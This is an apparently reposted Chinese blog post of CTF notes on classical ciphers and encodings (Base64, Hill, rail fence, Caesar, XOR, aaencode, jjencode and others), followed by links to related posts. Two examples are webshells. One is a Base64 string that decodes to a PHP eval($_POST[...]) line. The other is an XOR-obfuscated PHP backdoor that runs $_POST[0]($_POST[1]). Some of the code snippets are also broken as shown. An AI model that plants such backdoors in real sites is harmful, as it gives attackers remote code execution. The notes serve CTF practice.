最近ctf做的比较多,顺便整理一下做个笔记,大概有加密篇、隐写篇、逆向破解和web方向的几篇文章,整理出来之后会陆续发出来。Base64: ZXZhbCgkX1BPU1RbcDRuOV96MV96aDNuOV9qMXVfU2gxX0oxM10pNTU2NJC3ODHHYWJIZ3P4ZWY=Base64编码要求把3个8位字节(3*8=24)转化为4个6位的字节(4*6=24),之后在6位的前面补两个0,形成8位一个字节的形式。 如果剩下的字符不足3个字节,则用0填充,输出字符使用'=',因此编码后输出的文本末尾可能会出现1或2个'='Base32: Base32和Base64相比只有一个区别就是,用32个字符表示256个ASC字符,也就是说5个ASC字符一组可以生成8个Base字符,反之亦然。在线编解码:http://base64.xpcha.com/希尔密码:密文: 22,09,00,12,03,01,10,03,04,08,01,17 (明文:wjamdbkdeibr)解题思路:使用的矩阵是 1 2 3 4 5 6 7 8 10a b c d e f g h i j  k  l  m  n   o   p   q   r   s   t   u   v   w   x   y   z0 1 2 3 4 5 6 7 8 9 10 11  12 13  14  15  16  17  18  19  20  21  22  23  24  25把字母用数字表示,解密时把数字转换成字母,然后放入脚本,密钥要分成矩阵。一般是对称的原文链接:http://bobao.360.cn/ctf/learning/136.html百度百科:http://baike.baidu.com/link?url=R6oWhCdKvzlG8hB4hdIdUT1cZPbFOCrpU6lJAkTtdiKodD7eRTbASpd_YVfi4LMl7N8yFyhVNOz5ki6TC7_5eq脚本已存栅栏密码把要加密的明文分成N个一组,然后把每组的第1个字连起来,形成一段无规律的话。密文样例:tn c0afsiwal kes,hwit1r  g,npt  ttessfu}ua u  hmqik e {m,  n huiouosarwCniibecesnren.解密程序:char s[]= "tn c0afsiwal kes,hwit1r  g,npt  ttessfu}ua u  hmqik e {m,  n huiouosarwCniibecesnren.";
char t[86]= "";
int i,j,k;
k=0;
for (i=0;i<17;i++)
{
for(j=0;j<5;j++)
{
t[k++]= ch[j*17+i];
}
}
for(i=0;i<85;i++)
{
printf("%c",t[i]);
}原文链接:http://blog.csdn.net/shinukami/article/details/45980629http://www.practicalcryptography.com/ciphers/classical-era/rail-fence/凯撒密码:通过把字母移动一定的位数来实现加密和解密。明文中的所有字母都在字母表上向后(或向前)按照一个固定数目进行偏移后被替换成密文。常规解密:from pycipher import Caesar
for i in range(1,27):
str=Caesar(key=i).encipher('UIF RVJDLCSPXOGPYKVNQTPWFSUIFMBAZEPH')
print "mingwen:"+str.lower()+"\r\n"密文样例:U8Y]:8KdJHTXRI>XU#?!K_ecJH]kJG*bRH7YJH7YSH]*=93dVZ3^S8*$:8"&:9U]RH;g=8Y!U92'=j*$KH]ZSj&[S#!gU#*dK9\.解题思路:得知是凯撒加密之后,尝试进行127次轮转爆破:
  1. lstr="""U8Y]:8KdJHTXRI>XU#?!K_ecJH]kJG*bRH7YJH7YSH]*=93dVZ3^S8*$:8"&:9U]RH;g=8Y!U92'=j*$KH]ZSj&[S#!gU#*dK9\."""
  2. forin range(127):
  3. str1 = ''
  4. for i in lstr:
  5. temp = chr((ord(i)+p)%127)
  6. if 32<ord(temp)<127 :
  7. str1 = str1 + temp
  8. feel = 1
  9. else:
  10. feel = 0
  11. break
  12. if feel == 1:
  13. print(str1)

原文链接:http://blog.csdn.net/shinukami/article/details/46369765 Unicode 密文样例:\u5927\u5bb6\u597d\uff0c\u6211\u662f\u0040\u65e0\u6240\u4e0d\u80fd\u7684\u9b42\u5927\u4eba\uff01\u8bdd\u8bf4\u5fae\u535a\u7c89\u4e1d\u8fc7\ 在线解密:tool.chinaz.com/Tools/Unicode.aspx brainfuck 类型:++++++++++[>+++++++>++++++++++>+++>+<<<<-] >++.>+.+++++++..+++.>++.<<+++++++++++++++. >.+++.------.--------.>+.>. 利用BFVM.exe直接解密 用法 loadtxt 1.txt 在线解密:http://www.splitbrain.org/services/ook 摩斯密码 密文样例:--  ---  .-.  ...  . http://www.jb51.net/tools/morse.htm http://msjm.yinxiulei.cn/ jsfuck 密文中 ()[]{}!+ 在线解密:www.jsfuck.com http://patriciopalladino.com/files/hieroglyphy/ 如果jsfuck定义的是一个函数并且最后以()结尾,则在火狐console中运行时函数也会运行,就会错掉什么提示。这时候需要把最后的()换成.toString() 如下图的jsfuck,如果直接运行则输出 换成.toString()则输出全部内容   培根密码 培根所用的密码是一种本质上用二进制数设计的。不过,他没有用通常的0和1来表示,而是采用a和b。 百科:http://baike.baidu.com/link?url=acaeI3babB7MogPQFh98rDAVSwHfPwh-HnEFTb9cx7DZ5Nz4MkMA14H4SDjBNnOdBsJpliNYa1vnfikQGqvA7K 已知将一个flag以一种加密形式为使用密钥进行加密,使用密钥WELCOMETOCFF加密后密文为 培根密码表看其他文件 费娜姆密码   异或 已知将一个flag以一种加密形式为使用密钥进行加密,使用密钥WELCOMETOCFF加密后密文为 00000000000000000000000000000000000 0000000000000000101110000110001000000101000000001 请分析出flag。 密钥为12位,密文为84位,可能是异或: 7位二进制可能表示字母顺序: W     E     L     C     O     M    E    T    O     C     F    F 密文 0000000 0000000 0000000 0000000 0000000 0000000 0000000 0010111 0000110 0010000 0010100 0000001 密钥 0010111 0000101 0001100 0000011 0001111 0001101 0000101 0010100 0001111 0000011 0000110 0000110 Xor 0010111 0000101 0001100 0000011 0001111 0001101 0000101 0000011 0001001 0010011 0010010 0000111 W     E     L     C     O     M    E    C     I     S    R     G 即:WELCOMECISRG flag:WELCOMECISRG 猪圈密码又称共济会密码 百度百科:http://baike.baidu.com/link?url=yN39kWG2pGd9XHo3RjeUAbd7xs0QlnJ2uHzCJfxC03V-fJcQUdfcJ-WuGoAkKGFVE0AxFK4-98wa4FtzvxRA0_ CRC32 密文样例:4D1FAE0B import zlib def crc32(st): crc = zlib.crc32(st) if crc > 0: return "%x" % (crc) else: return "%x" % (~crc ^ 0xffffffff) 原文链接:http://blog.csdn.net/ab748998806/article/details/46382017

颜文字加密(aaencode)

颜文字js加密:明文alert("flag"); 密文:゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c language="^_^o"][/c];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c language="^_^o"][/c];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_'); 解密:http://utf-8.jp/public/aaencode.html

Jjencode

密文:$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"\\"+$.__$+$.__$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+$._$+",\\"+$.$__+$.___+"\\"+$.__$+$.__$+$._$_+$.$_$_+"\\"+$.__$+$.$$_+$.$$_+$.$_$_+"\\"+$.__$+$._$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"\\\"\\"+$.$__+$.___+")"+"\"")())(); 解密地址:http://utf-8.jp/public/jjencode.html?src=&var=%24

无字母加密

<?php @$_++; // $_ = 1 $__=("#"^"|"); // $__ = _ $__.=("."^"~"); // _P $__.=("/"^"`"); // _PO $__.=("|"^"/"); // _POS $__.=("{"^"/"); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]); ?> http://www.waitalone.cn/php-backdoor.html   Utf-7编解码 原文:gdfgdfg 密文:+AGcAZABmAGcAZABmAGc- 无论何种,都是+开头-结尾 http://tomeko.net/online_tools/base32.php?lang=en     对于其他一些未知密文,可尝试到下列几个网站转换试试,看看运气 http://web.chacuo.net/charsetuuencode http://blog.csdn.net/ab748998806/article/details/46368337   http://www.qqxiuzi.cn/bianma/wenbenjiami.php       1如果密文是十进制,字符范围为“0-9”,可以猜测是ASCII编码; 2如果密文由“a-z”“A-Z”和“=”构成,特别是末尾有“=”,那么可以判断为Base64编码; 3如果密文含有“%” ,形式为 “%xx” 和 “%uxxxx”,字符范围又是十六进制“0-F”,判断是escape() 函数编码,用unescape()解码; 4若密文由“[],(),{},+,!”字符组成的编码通常就通过Jother解密。 判断出可能的编码方式,就可以使用程序或工具进行解密。 云影密码 如果密码只有01248组成 此密码运用了1248代码,因为本人才疏学浅,尚未发现有过使用的先例,因此暂归为原创密码,若有密码界前辈认为不妥,请指出此密码或类似密码的普遍使用历史并附寄一份到我站内邮箱,我将以最快速度核查并改正。由于这个密码,我和片风云影初识,为了纪念,将其命名为“云影密码”,原文请见谜题大全精华区。 原理很简单,有了1,2,4,8这四个简单的数字,你可以以加法表示出0-9任何一个数字,例如0=28,7=124,9=18。 这样,再用1-26来表示A-Z,就可以用作密码了。 为了不至于混乱,我个人引入了第五个数字0,来用作间隔,以避免翻译错误,所以还可以称“01248密码”。 题目:12401011801180212011401804 第一步,分割,即124  1  118  118  212  114  18  4 第二步,基本翻译,例如124可以表示7,也可以表示16(但不可能是34,因为不会超过26),所以可以放在一边,翻译其他没有异议的,可得:124  a  s  s  w  o  18  d 第三步,推测得出明文。可以推测后面的18表示r,前面的为p最合适。 明文:password(密码). RC4 key welcometoicqedu 密文UUyFTj8PCzF6geFn6xgBOYSvVTrbpNU4OF9db9wMcPD1yDbaJw== 用脚本解密 脚本已存

曼彻斯特

转二进制 不是10就是01 即是曼彻斯特 解密看脚本

查看原文:http://www.am0s.com/ctf/179.html

转载于:https://www.cnblogs.com/qiniuyhm/p/6363390.html

那些年做过的ctf之加密篇相关推荐

  1. [CTF]Rabbit加密

    [CTF]Rabbit加密 ---------------------  作者:adversity`  来源:CSDN  原文:https://blog.csdn.net/qq_40836553/ar ...

  2. hackbar 使用教程_〖教程〗K8飞刀-网络安全CTF解题Web篇10个例子

    [教程]K8飞刀-网络安全CTF解题Web篇10个例子 前段时间有人和我说什么时候有空出些CTF用的工具,实际上CTF考查的内容,实战中用到的很多工具都可以使用,关键在于你懂不懂用.也看到有人搜索如何 ...

  3. iOS动手做一个直播app开发(代码篇)

    iOS动手做一个直播app开发(代码篇) ###开篇 好久没写简书,因为好奇的我跑去学习直播了,今天就分享一下我的感慨. 目前为止直播还是比较热点的技术的,简书,git上有几篇阅读量和含金量都不错的文 ...

  4. 用python的tkinter做游戏(五)—— 魔塔 篇

    好久没更新了,今天继续:用python自带的tkinter做游戏系列的第五弹,魔塔 篇 之前的四篇博文介绍的分别是贪食蛇和俄罗斯方块,推箱子的简易版和推箱子的重制版. 用python自带的tkinte ...

  5. 想要做网页游戏怎么办 ?PixiJs 篇(三)

    序 好久没记录过博客了,本来想五一写一下的,结果太忙了 本文是继上一次断章的<想要做网页游戏怎么办 ?PixiJs 篇(二)>后续篇 正文开始 上一篇中实现的效果是动画精灵出现了,但是还没 ...

  6. 想要做网页游戏怎么办 ?PixiJs 篇(二)

    序 继上一次的想要做网页游戏怎么办 ?PixiJs 篇(一)后,这次继续更新一下这次的文章 之前有说关于pixi是什么以及基本的使用方法,这一次是关于我们创建出来的精灵对象运动状态的说明 就是如何让你 ...

  7. 跟着我做毕设 一起毕业?-----塔吊篇(二)

    这都过去好几个月了,继续跟着更吧,九月到十二月,也过去三个月了,上次更新的时间节点还是我刚到兰州那会,而现在,我已经悠然的躺在西安的宿舍的温柔乡里了. 2021.12.16日(雁塔校区隔离中..... ...

  8. CTF常见加密方式汇总

    1.栅栏密码 在IDF训练营里做过一道关于栅栏密码的问题. 栅栏密码的解法很简单,也有点复杂,字符长度因数多得会有很多个密码.对,栅栏密码的解法就是:计算该字符串是否为合数,若为合数,则求出该合数除本 ...

  9. 基于Python实现的CTF Crypto加密解密工具

    纯小白,记录一下自己小学期内做的项目.基于Python实现一个能够对凯撒密码.维吉尼亚密码.栅栏密码.摩斯密码.Base64编码.Ascii编码.AES.DES.RSA.RC4的加密解密以及维吉尼亚密 ...

  10. CTF Autokey加密

    自动密钥密码(Autokey Cipher)也是多表替换密码,与维吉尼亚密码密码类似,但使用不同的方法生成密钥.通常来说它要比维吉尼亚密码更安全.自动密钥密码主要有两种,关键词自动密钥密码和原文自动密 ...

最新文章

  1. SQL Server 一些重要视图3
  2. MySQL视图的创建、修改与删除
  3. linux共享库 == windows动态库
  4. 将python编程为c_使用Cython为Python编写更快的C扩展
  5. 岗位推荐 | 清华大学CoAI实验室招聘博士后
  6. mysql in or索引失效_in 索引失效的问题
  7. Nodejs 了解web服务器
  8. Maven(2)--- 环境配置
  9. Tensorflow Estimator之DNNClassifier
  10. H5获取html标签
  11. php如何生成一年的日历表_PHP生成的日历
  12. 如何使用MATLAB绘制出好看的火山图
  13. Oracle字符集及其查看和修改
  14. 小米路由器拨号显示无法连接服务器,小米路由器4连不上网(不能上网)怎么办? | 192路由网...
  15. 解决no session问题的三种方式
  16. Three.js 绘图之不规则路径 3D 墙体生成算法
  17. Unity之ASE从入门到精通 目录
  18. 搜狗收录查询 怎么查搜狗是否收录过网页
  19. 互联网晚报 | 9月25日 | 辉瑞公司CEO新冠检测再次呈阳性;​央视揭秘“羊了个羊”通关诈骗陷阱;特斯拉变相降价8000元?...
  20. 损失函数、代价(成本)函数、目标函数

热门文章

  1. WLAN安全问题详解
  2. ubuntu 16.04无法正常关机、重启
  3. Deepin linux 15.9.1 Ubuntu 16.04 安装zsteg、gem
  4. NYOJ-111分数加减法
  5. linux磁盘空间用满的处理方法
  6. 使用DataAnnotations实现数据验证
  7. 正式开始学习GO语言
  8. jQuery对象和DOM对象相互转化
  9. 微软MVP申请“自我介绍”部分英文示范
  10. Nginx源码分析 - 基础数据结构篇 - 缓冲区结构 ngx_buf.c(04)